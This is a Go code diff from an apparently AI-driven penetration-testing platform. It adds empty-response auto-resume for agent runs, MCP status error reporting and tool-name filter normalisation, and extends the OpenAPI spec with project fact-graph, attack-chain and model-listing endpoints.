// MCP 注册工具(如知识检索) // MCP 注册工具(如知识检索)
if h.mcpServer != nil { if mcpServer != nil {
for _, mt := range h.mcpServer.GetAllTools() { for _, mt := range mcpServer.GetAllTools() {
if mt.Name == toolName { if mt.Name == toolName {
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema}) c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
return return
+3 -2
View File
@@ -105,17 +105,18 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
excludeGrouped := strings.TrimSpace(search) == "" && excludeGrouped := strings.TrimSpace(search) == "" &&
(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1") (c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
sortBy := strings.TrimSpace(c.Query("sort_by"))
var conversations []*database.Conversation var conversations []*database.Conversation
var total int var total int
var err error var err error
if excludeGrouped { if excludeGrouped {
conversations, err = h.db.ListUngroupedConversations(limit, offset) conversations, err = h.db.ListUngroupedConversations(limit, offset, sortBy)
if err == nil { if err == nil {
total, err = h.db.CountUngroupedConversations() total, err = h.db.CountUngroupedConversations()
} }
} else { } else {
conversations, err = h.db.ListConversations(limit, offset, search) conversations, err = h.db.ListConversations(limit, offset, search, sortBy)
if err == nil { if err == nil {
total, err = h.db.CountConversations(search) total, err = h.db.CountConversations(search)
} }
+58
View File
@@ -9,6 +9,8 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/multiagent" "cyberstrike-ai/internal/multiagent"
"go.uber.org/zap"
) )
func (h *AgentHandler) einoRunRetryMaxAttempts() int { func (h *AgentHandler) einoRunRetryMaxAttempts() int {
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
} }
return true, nil return true, nil
} }
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
func (h *AgentHandler) handleEinoEmptyResponseContinue(
baseCtx context.Context,
conversationID string,
result *multiagent.RunResult,
runErr error,
emptyResponseAttempts *int,
curHistory *[]agent.ChatMessage,
curFinalMessage *string,
segmentUserMessage string,
progressCallback func(eventType, message string, data interface{}),
sendProgress func(msg string, extra map[string]interface{}),
) (handled bool, exhausted bool) {
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
return false, false
}
maxAttempts := h.einoRunRetryMaxAttempts()
*emptyResponseAttempts++
if *emptyResponseAttempts > maxAttempts {
if h.logger != nil {
h.logger.Warn("eino empty response auto resume exhausted",
zap.String("conversationId", conversationID),
zap.Int("maxAttempts", maxAttempts))
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(conversationID, result)
}
return false, true
}
attemptNo := *emptyResponseAttempts
if h.logger != nil {
h.logger.Info("eino empty response, auto resume from trace",
zap.String("conversationId", conversationID),
zap.Int("attempt", attemptNo),
zap.Int("maxAttempts", maxAttempts))
}
if progressCallback != nil {
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"attempt": attemptNo,
"maxAttempts": maxAttempts,
"resumeKind": "trace_segment",
})
}
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
if sendProgress != nil {
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
"conversationId": conversationID,
"source": "empty_response_continue",
})
}
return true, false
}
+71 -15
View File
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
var cumulativeMCPExecutionIDs []string var cumulativeMCPExecutionIDs []string
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。 // 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
var mainIterationOffset int var mainIterationOffset int
@@ -223,8 +224,10 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
h.config, h.config,
&h.config.MultiAgent, &h.config.MultiAgent,
h.agent, h.agent,
h.db,
h.logger, h.logger,
conversationID, conversationID,
h.conversationProjectID(conversationID),
curFinalMessage, curFinalMessage,
curHistory, curHistory,
roleTools, roleTools,
@@ -237,9 +240,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs) cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
} }
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
)
if exhaustedEmpty {
runErr = nil
transientRunAttempts = 0
timeoutCancel()
break
}
if handledEmpty {
mainIterationOffset += segmentMainIterationMax
transientRunAttempts = 0
timeoutCancel()
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
h.tasks.UpdateTaskStatus(conversationID, "running")
continue
}
if runErr == nil { if runErr == nil {
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。 // 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
timeoutCancel() timeoutCancel()
break break
} }
@@ -418,21 +444,51 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
return return
} }
result, runErr := multiagent.RunEinoSingleChatModelAgent( curHist := prep.History
taskCtx, curMsg := prep.FinalMessage
h.config, var result *multiagent.RunResult
&h.config.MultiAgent, var runErr error
h.agent, var transientRunAttempts int
h.logger, var emptyResponseAttempts int
prep.ConversationID, for {
prep.FinalMessage, result, runErr = multiagent.RunEinoSingleChatModelAgent(
prep.History, taskCtx,
prep.RoleTools, h.config,
progressCallback, &h.config.MultiAgent,
chatReasoningToClientIntent(req.Reasoning), h.agent,
h.projectBlackboardBlock(prep.ConversationID), h.db,
) h.logger,
if runErr != nil { prep.ConversationID,
h.conversationProjectID(prep.ConversationID),
curMsg,
curHist,
prep.RoleTools,
progressCallback,
chatReasoningToClientIntent(req.Reasoning),
h.projectBlackboardBlock(prep.ConversationID),
)
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
)
if exhaustedEmpty {
runErr = nil
break
}
if handledEmpty {
continue
}
if runErr == nil {
break
}
if handled, fatalErr := h.handleEinoTransientRetryContinue(
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
); handled {
continue
} else if fatalErr != nil {
runErr = fatalErr
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) { if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(prep.ConversationID, result) h.persistEinoAgentTraceForResume(prep.ConversationID, result)
} }
+10 -11
View File
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
} }
toolCount := toolCounts[name] toolCount := toolCounts[name]
errorMsg := "" errorMsg := externalMCPStatusError(h.manager, name, status)
if status == "error" {
errorMsg = h.manager.GetError(name)
}
result[name] = ExternalMCPResponse{ result[name] = ExternalMCPResponse{
Config: cfg, Config: cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
} }
} }
// 获取错误信息
errorMsg := ""
if status == "error" {
errorMsg = h.manager.GetError(name)
}
c.JSON(http.StatusOK, ExternalMCPResponse{ c.JSON(http.StatusOK, ExternalMCPResponse{
Config: cfg, Config: cfg,
Status: status, Status: status,
ToolCount: toolCount, ToolCount: toolCount,
Error: errorMsg, Error: externalMCPStatusError(h.manager, name, status),
}) })
} }
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
if status != "error" && status != "disconnected" {
return ""
}
return manager.GetError(name)
}
// AddOrUpdateExternalMCP 添加或更新外部MCP配置 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) { func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
var req AddOrUpdateExternalMCPRequest var req AddOrUpdateExternalMCPRequest
+10
View File
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
} }
} }
func TestExternalMCPStatusError(t *testing.T) {
manager := mcp.NewExternalMCPManager(zap.NewNop())
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
t.Fatalf("connected status should not return error, got %q", got)
}
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
t.Fatalf("connecting status should not return error, got %q", got)
}
}
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) { func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
router, handler, _ := setupTestRouter() router, handler, _ := setupTestRouter()
+36 -4
View File
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
// 解析状态筛选参数 // 解析状态筛选参数
status := c.Query("status") status := c.Query("status")
// 解析工具筛选参数 // 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool
toolName := c.Query("tool") toolName := normalizeToolNameFilter(c.Query("tool"))
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName) executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
stats := h.loadStats() stats := h.loadStats()
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
for _, exec := range allExecutions { for _, exec := range allExecutions {
matchStatus := status == "" || exec.Status == status matchStatus := status == "" || exec.Status == status
// 支持部分匹配(模糊搜索) // 支持部分匹配(模糊搜索)
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName)) matchTool := toolNameFilterMatches(exec.ToolName, toolName)
if matchStatus && matchTool { if matchStatus && matchTool {
filtered = append(filtered, exec) filtered = append(filtered, exec)
} }
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
for _, exec := range allExecutions { for _, exec := range allExecutions {
matchStatus := status == "" || exec.Status == status matchStatus := status == "" || exec.Status == status
// 支持部分匹配(模糊搜索) // 支持部分匹配(模糊搜索)
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName)) matchTool := toolNameFilterMatches(exec.ToolName, toolName)
if matchStatus && matchTool { if matchStatus && matchTool {
filtered = append(filtered, exec) filtered = append(filtered, exec)
} }
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs))) h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"}) c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
} }
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
func normalizeToolNameFilter(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return name
}
if strings.Contains(name, "::") {
return name
}
if idx := strings.Index(name, "__"); idx > 0 {
return name[:idx] + "::" + name[idx+2:]
}
return name
}
func toolNameFilterMatches(storedName, filter string) bool {
filter = strings.TrimSpace(filter)
if filter == "" {
return true
}
storedLower := strings.ToLower(storedName)
filterLower := strings.ToLower(filter)
if strings.Contains(storedLower, filterLower) {
return true
}
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
return true
}
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
}
+73 -17
View File
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表 // 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
var cumulativeMCPExecutionIDs []string var cumulativeMCPExecutionIDs []string
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。 // 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
var mainIterationOffset int var mainIterationOffset int
@@ -233,8 +234,10 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
h.config, h.config,
&h.config.MultiAgent, &h.config.MultiAgent,
h.agent, h.agent,
h.db,
h.logger, h.logger,
conversationID, conversationID,
h.conversationProjectID(conversationID),
curFinalMessage, curFinalMessage,
curHistory, curHistory,
roleTools, roleTools,
@@ -249,9 +252,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs) cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
} }
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
)
if exhaustedEmpty {
runErr = nil
transientRunAttempts = 0
timeoutCancel()
break
}
if handledEmpty {
mainIterationOffset += segmentMainIterationMax
transientRunAttempts = 0
timeoutCancel()
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
h.tasks.UpdateTaskStatus(conversationID, "running")
continue
}
if runErr == nil { if runErr == nil {
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。 // 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
timeoutCancel() timeoutCancel()
break break
} }
@@ -430,23 +456,53 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments) return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
}) })
result, runErr := multiagent.RunDeepAgent( curHist := prep.History
taskCtx, curMsg := prep.FinalMessage
h.config, var result *multiagent.RunResult
&h.config.MultiAgent, var runErr error
h.agent, var transientRunAttempts int
h.logger, var emptyResponseAttempts int
prep.ConversationID, for {
prep.FinalMessage, result, runErr = multiagent.RunDeepAgent(
prep.History, taskCtx,
prep.RoleTools, h.config,
progressCallback, &h.config.MultiAgent,
h.agentsMarkdownDir, h.agent,
strings.TrimSpace(req.Orchestration), h.db,
chatReasoningToClientIntent(req.Reasoning), h.logger,
h.projectBlackboardBlock(prep.ConversationID), prep.ConversationID,
) h.conversationProjectID(prep.ConversationID),
if runErr != nil { curMsg,
curHist,
prep.RoleTools,
progressCallback,
h.agentsMarkdownDir,
strings.TrimSpace(req.Orchestration),
chatReasoningToClientIntent(req.Reasoning),
h.projectBlackboardBlock(prep.ConversationID),
)
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
)
if exhaustedEmpty {
runErr = nil
break
}
if handledEmpty {
continue
}
if runErr == nil {
break
}
if handled, fatalErr := h.handleEinoTransientRetryContinue(
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
); handled {
continue
} else if fatalErr != nil {
runErr = fatalErr
}
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) { if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
h.persistEinoAgentTraceForResume(prep.ConversationID, result) h.persistEinoAgentTraceForResume(prep.ConversationID, result)
} }
+142 -37
View File
@@ -2,10 +2,8 @@ package handler
import ( import (
"net/http" "net/http"
"time"
"cyberstrike-ai/internal/database" "cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/storage"
"github.com/gin-gonic/gin" "github.com/gin-gonic/gin"
"go.uber.org/zap" "go.uber.org/zap"
@@ -15,17 +13,15 @@ import (
type OpenAPIHandler struct { type OpenAPIHandler struct {
db *database.DB db *database.DB
logger *zap.Logger logger *zap.Logger
resultStorage storage.ResultStorage
conversationHdlr *ConversationHandler conversationHdlr *ConversationHandler
agentHdlr *AgentHandler agentHdlr *AgentHandler
} }
// NewOpenAPIHandler 创建新的OpenAPI处理器 // NewOpenAPIHandler 创建新的OpenAPI处理器
func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, resultStorage storage.ResultStorage, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler { func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
return &OpenAPIHandler{ return &OpenAPIHandler{
db: db, db: db,
logger: logger, logger: logger,
resultStorage: resultStorage,
conversationHdlr: conversationHdlr, conversationHdlr: conversationHdlr,
agentHdlr: agentHdlr, agentHdlr: agentHdlr,
} }
@@ -237,7 +233,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "状态", "description": "状态",
"enum": []string{"open", "closed", "fixed"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"target": map[string]interface{}{ "target": map[string]interface{}{
"type": "string", "type": "string",
@@ -575,7 +571,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "状态", "description": "状态",
"enum": []string{"open", "closed", "fixed"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"type": map[string]interface{}{ "type": map[string]interface{}{
"type": "string", "type": "string",
@@ -1344,7 +1340,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"delete": map[string]interface{}{ "delete": map[string]interface{}{
"tags": []string{"对话管理"}, "tags": []string{"对话管理"},
"summary": "删除对话", "summary": "删除对话",
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。", "description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
"operationId": "deleteConversation", "operationId": "deleteConversation",
"parameters": []map[string]interface{}{ "parameters": []map[string]interface{}{
{ {
@@ -2468,17 +2464,108 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"parameters": []map[string]interface{}{ "parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}}, {"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
{"name": "fact_key", "in": "query", "schema": map[string]interface{}{"type": "string"}}, {"name": "fact_key", "in": "query", "schema": map[string]interface{}{"type": "string"}},
{"name": "include_links", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
{"name": "include_link_counts", "in": "query", "schema": map[string]interface{}{"type": "boolean"}},
}, },
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条"}}, "responses": map[string]interface{}{"200": map[string]interface{}{"description": "事实列表或单条(可含 link_counts / outgoing_links"}},
}, },
"post": map[string]interface{}{ "post": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "创建/更新事实", "operationId": "upsertProjectFactREST", "tags": []string{"项目管理"}, "summary": "创建/更新事实", "operationId": "upsertProjectFactREST",
"parameters": []map[string]interface{}{ "parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}}, {"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
}, },
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"fact_key": map[string]interface{}{"type": "string"},
"summary": map[string]interface{}{"type": "string"},
"links": map[string]interface{}{
"type": "array",
"items": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"to": map[string]interface{}{"type": "string"},
"type": map[string]interface{}{"type": "string"},
},
},
},
"links_text": map[string]interface{}{"type": "string", "description": "type: fact_key 每行一条"},
},
},
},
},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "成功"}}, "responses": map[string]interface{}{"200": map[string]interface{}{"description": "成功"}},
}, },
}, },
"/api/projects/{id}/fact-graph": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "获取项目事实攻击路径图", "operationId": "getProjectFactGraph",
"parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
{"name": "view", "in": "query", "schema": map[string]interface{}{"type": "string", "enum": []string{"path", "full"}, "default": "path"}},
{"name": "exclude_deprecated", "in": "query", "schema": map[string]interface{}{"type": "boolean", "default": true}},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "nodes + edges"}},
},
},
"/api/projects/{id}/fact-edges": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "列出项目全部事实边", "operationId": "listProjectFactEdges",
"parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边列表"}},
},
"post": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "添加事实边", "operationId": "createProjectFactEdge",
"parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
},
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"required": []string{"source_fact_key", "target_fact_key", "edge_type"},
"properties": map[string]interface{}{
"source_fact_key": map[string]interface{}{"type": "string"},
"target_fact_key": map[string]interface{}{"type": "string"},
"edge_type": map[string]interface{}{"type": "string"},
"confidence": map[string]interface{}{"type": "string"},
},
},
},
},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "边已创建"}},
},
},
"/api/projects/{id}/fact-edges/{edgeId}": map[string]interface{}{
"delete": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "删除事实边", "operationId": "deleteProjectFactEdge",
"parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
{"name": "edgeId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "删除成功"}},
},
},
"/api/projects/{id}/promote-attack-chain/{conversationId}": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"项目管理"}, "summary": "将对话攻击链沉淀到项目事实图", "operationId": "promoteAttackChainToProject",
"parameters": []map[string]interface{}{
{"name": "id", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
{"name": "conversationId", "in": "path", "required": true, "schema": map[string]interface{}{"type": "string"}},
},
"responses": map[string]interface{}{"200": map[string]interface{}{"description": "沉淀结果(facts/edges/graph"}},
},
},
"/api/vulnerabilities": map[string]interface{}{ "/api/vulnerabilities": map[string]interface{}{
"get": map[string]interface{}{ "get": map[string]interface{}{
"tags": []string{"漏洞管理"}, "tags": []string{"漏洞管理"},
@@ -5034,6 +5121,51 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
}, },
}, },
}, },
"/api/config/list-models": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"配置管理"},
"summary": "获取模型列表",
"description": "代理调用 OpenAI 兼容 GET /models,返回可用模型 id 列表。Claude 不支持。",
"operationId": "listModels",
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"required": []string{"api_key"},
"properties": map[string]interface{}{
"provider": map[string]interface{}{"type": "string", "description": "LLM提供商(openai/claude", "example": "openai"},
"base_url": map[string]interface{}{"type": "string", "description": "API基地址(可选)"},
"api_key": map[string]interface{}{"type": "string", "description": "API密钥"},
},
},
},
},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "获取结果",
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"success": map[string]interface{}{"type": "boolean"},
"supported": map[string]interface{}{"type": "boolean"},
"error": map[string]interface{}{"type": "string"},
"models": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
"count": map[string]interface{}{"type": "integer"},
},
},
},
},
},
"400": map[string]interface{}{"description": "参数错误"},
"401": map[string]interface{}{"description": "未授权"},
},
},
},
// ==================== 终端 ==================== // ==================== 终端 ====================
"/api/terminal/run": map[string]interface{}{ "/api/terminal/run": map[string]interface{}{
@@ -6354,35 +6486,8 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
vulnerabilities[i] = *v vulnerabilities[i] = *v
} }
// 获取执行结果(从MCP执行记录中获取 // 获取执行结果(历史大结果由 Eino reduction 落盘,此处不再聚合文件存储
executionResults := []map[string]interface{}{} executionResults := []map[string]interface{}{}
for _, msg := range messages {
if len(msg.MCPExecutionIDs) > 0 {
for _, execID := range msg.MCPExecutionIDs {
// 尝试从结果存储中获取执行结果
if h.resultStorage != nil {
result, err := h.resultStorage.GetResult(execID)
if err == nil && result != "" {
// 获取元数据以获取工具名称和创建时间
metadata, err := h.resultStorage.GetResultMetadata(execID)
toolName := "unknown"
createdAt := time.Now()
if err == nil && metadata != nil {
toolName = metadata.ToolName
createdAt = metadata.CreatedAt
}
executionResults = append(executionResults, map[string]interface{}{
"id": execID,
"toolName": toolName,
"status": "success",
"result": result,
"createdAt": createdAt.Format(time.RFC3339),
})
}
}
}
}
}
response := map[string]interface{}{ response := map[string]interface{}{
"conversationId": conv.ID, "conversationId": conv.ID,
+267 -23
View File
@@ -1,10 +1,12 @@
package handler package handler
import ( import (
"fmt"
"net/http" "net/http"
"strconv" "strconv"
"strings" "strings"
"cyberstrike-ai/internal/attackchain"
"cyberstrike-ai/internal/database" "cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/project" "cyberstrike-ai/internal/project"
@@ -12,6 +14,16 @@ import (
"go.uber.org/zap" "go.uber.org/zap"
) )
const maxProjectDescriptionRunes = 4000
func clampProjectDescription(s string) string {
r := []rune(s)
if len(r) <= maxProjectDescriptionRunes {
return s
}
return string(r[:maxProjectDescriptionRunes])
}
// ProjectHandler 项目管理处理器。 // ProjectHandler 项目管理处理器。
type ProjectHandler struct { type ProjectHandler struct {
db *database.DB db *database.DB
@@ -48,7 +60,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
} }
p := &database.Project{ p := &database.Project{
Name: strings.TrimSpace(req.Name), Name: strings.TrimSpace(req.Name),
Description: req.Description, Description: clampProjectDescription(req.Description),
ScopeJSON: req.ScopeJSON, ScopeJSON: req.ScopeJSON,
Status: strings.TrimSpace(req.Status), Status: strings.TrimSpace(req.Status),
} }
@@ -184,7 +196,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
} }
} }
if req.Description != nil { if req.Description != nil {
p.Description = *req.Description p.Description = clampProjectDescription(*req.Description)
} }
if req.ScopeJSON != nil { if req.ScopeJSON != nil {
p.ScopeJSON = *req.ScopeJSON p.ScopeJSON = *req.ScopeJSON
@@ -213,26 +225,102 @@ func (h *ProjectHandler) DeleteProject(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"success": true}) c.JSON(http.StatusOK, gin.H{"success": true})
} }
type factLinkRequest struct {
From string `json:"from"`
Type string `json:"type"`
Confidence string `json:"confidence,omitempty"`
}
type upsertFactRequest struct { type upsertFactRequest struct {
FactKey string `json:"fact_key" binding:"required"` FactKey string `json:"fact_key" binding:"required"`
Category string `json:"category"` Category string `json:"category"`
Summary string `json:"summary" binding:"required"` Summary string `json:"summary" binding:"required"`
Body string `json:"body"` Body string `json:"body"`
Confidence string `json:"confidence"` Confidence string `json:"confidence"`
Pinned bool `json:"pinned"` Pinned bool `json:"pinned"`
RelatedVulnerabilityID string `json:"related_vulnerability_id"` RelatedVulnerabilityID string `json:"related_vulnerability_id"`
Links []factLinkRequest `json:"links"`
LinksText *string `json:"links_text"`
} }
// updateFactRequest 部分更新事实;指针字段省略=不修改,body 传 "" 可清空(仍走 merge 逻辑见 Upsert)。 // updateFactRequest 部分更新事实;指针字段省略=不修改,body 传 "" 可清空(仍走 merge 逻辑见 Upsert)。
type updateFactRequest struct { type updateFactRequest struct {
